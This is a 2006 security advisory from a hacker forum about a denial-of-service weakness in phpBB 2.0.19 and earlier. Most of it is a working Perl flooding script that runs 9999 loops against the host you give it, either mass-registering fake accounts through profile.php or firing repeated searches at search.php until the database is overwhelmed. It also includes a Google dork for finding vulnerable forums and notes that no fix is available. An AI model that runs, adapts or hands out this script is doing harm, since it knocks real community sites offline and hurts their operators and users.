------------------------------------------------------ HYSA-2006-001 h4cky0u.org Advisory 010 ------------------------------------------------------ Date - Wed Jan 25 2006 TITLE: ====== phpBB 2.0.19 search.php and profile.php DOS Vulnerability SEVERITY: ========= High SOFTWARE: ========= phpBB 2.0.19 and prior INFO: ===== phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin board package. phpBB has a user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community solution for all web sites. Support Website : http://www.phpbb.com BUG DESCRIPTION: ================ The bug was originally found by HaCkZaTaN of NeoSecurityteam. The original exploit code can be found at - http://h4cky0u.org/viewtopic.php?t=637 This one affected only versions uptill phpBB 2.0.15. The exploit code has been recoded which affects the latest version too. The bug resides in the following two scripts- profile.php << By registering as many users as you can. search.php << By searching in a way that the db cannot understand. Proof Of Concept Code: ====================== #!/usr/bin/perl ####################################### ## Recoded by: mix2mix and Elioni of http://ahg-khf.org ## And h4cky0u Security Forums (http://h4cky0u.org) ## Name: phpBBDoSReloaded ## Original Author: HaCkZaTaN of Neo Security Team ## Tested on phpBB 2.0.19 and earlier versions ## Ported to perl by g30rg3_x ## Date: 25/01/06 ####################################### use IO::Socket; ## Initialized X $x = 0; print q( phpBBDosReloaded - Originally NsT-phpBB DoS by HaCkZaTaN Recoded by Albanian Hackers Group & h4cky0u Security Forums ); print q(Host |without-> http://www.| ); $host = <STDIN>; chop ($host); print q(Path |example-> /phpBB2/ or /| ); $pth = <STDIN>; chop ($pth); print q(Flood Type |1 = If Visual Confirmation is disabled, 2 = If Visual Confirmation is enabled| ); $type = <STDIN>; chop ($type); ## Tipi pr regjistrim if($type == 1){ ## User Loop for 9999 loops (enough for Flood xDDDD) while($x != 9999) { ## Antari q regjistrohet automatikisht "X" $uname = "username=AHG__" . "$x"; ## Emaili q regjistrohet ne bazn "X" $umail = "&email=AHG__" . "$x"; $postit = "$uname"."$umail"."%40ahg-crew.org&new_password=0123456&password_confirm =0123456&icq=&aim=N%2FA&msn=&yim=&website=&location=&occupation=&interes ts=&signature=&viewemail=0&hideonline=0&notifyreply=0&notifypm=1&popup_p m=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=englis h&style=2&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed= true&coppa=0&submit=Submit"; $lrg = length $postit; my $sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "80", Proto => "tcp", ); die "nNuk mundem te lidhemi me hostin sepse sht dosirat ose nuk egziston: $!n" unless $sock; ## Sending Truth Socket The HTTP Commands For Register a User in phpBB Forums print $sock "POST $pth"."profile.php HTTP/1.1n"; print $sock "Host: $hostn"; print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*n"; print $sock "Referer: $hostn"; print $sock "Accept-Language: en-usn"; print $sock "Content-Type: application/x-www-form-urlencodedn"; print $sock "Accept-Encoding: gzip, deflaten"; print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4n"; print $sock "Connection: Keep-Aliven"; print $sock "Cache-Control: no-cachen"; print $sock "Content-Length: $lrgnn"; print $sock "$postitn"; close($sock); ## Print a "+" for every loop syswrite STDOUT, "+"; $x++; } ## Tipi 2-sh pr Krkim(Flood) } elsif ($type == 2){ while($x != 9999) { ## Final Search String to Send $postit = "search_keywords=Albanian+Hackers+Group+Proof+of+Concept+$x+&search_term s=any&search_author=&search_forum=-1&search_time=0&search_fields=msgonly &search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=20 0"; ## Posit Length $lrg = length $postit; ## Connect Socket with Variables Provided By User my $sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "80", Proto => "tcp", ); die "nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!n" unless $sock; ## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums print $sock "POST $pth"."search.php?mode=results HTTP/1.1n"; print $sock "Host: $hostn"; print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai n;q=0.8,image/png,*/*;q=0.5n"; print $sock "Referer: $hostn"; print $sock "Accept-Language: en-usn"; print $sock "Content-Type: application/x-www-form-urlencodedn"; print $sock "Accept-Encoding: gzip, deflaten"; print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4n"; print $sock "Connection: Keep-Aliven"; print $sock "Cache-Control: no-cachen"; print $sock "Content-Length: $lrgnn"; print $sock "$postitn"; close($sock); ## Print a "+" for every loop syswrite STDOUT, "+"; ## Increment X in One for every Loop $x++; } }else{ ## STF??? Qfar keni Shtypur die "Mundsia nuk Lejohet +_-???n"; } FIX: ==== No fix available as of date. GOOGLEDORK: =========== "Powered by phpBB" CREDITS: ======== - This vulnerability was discovered and researched by HaCkZaTaN of NeoSecurityteam. - Exploit recoded by mix2mix of [AHG-KHF] Security Team for the latest release of the script - Web : http://ahg-khf.org mail : webmaster at ahg-khf dot org - Co Researcher - h4cky0u of h4cky0u Security Forums. mail : h4cky0u at gmail dot com web : http://www.h4cky0u.org ORIGINAL ADVISORY: ================== http://www.h4cky0u.org/advisories/HYSA-2006-001-phpbb.txt -- http://www.h4cky0u.org (In)Security at its best... # SecuirtyReason Note : # This issue will not work on many server because there is limit connection. # but as you can see we post this bug to our SecurityAlert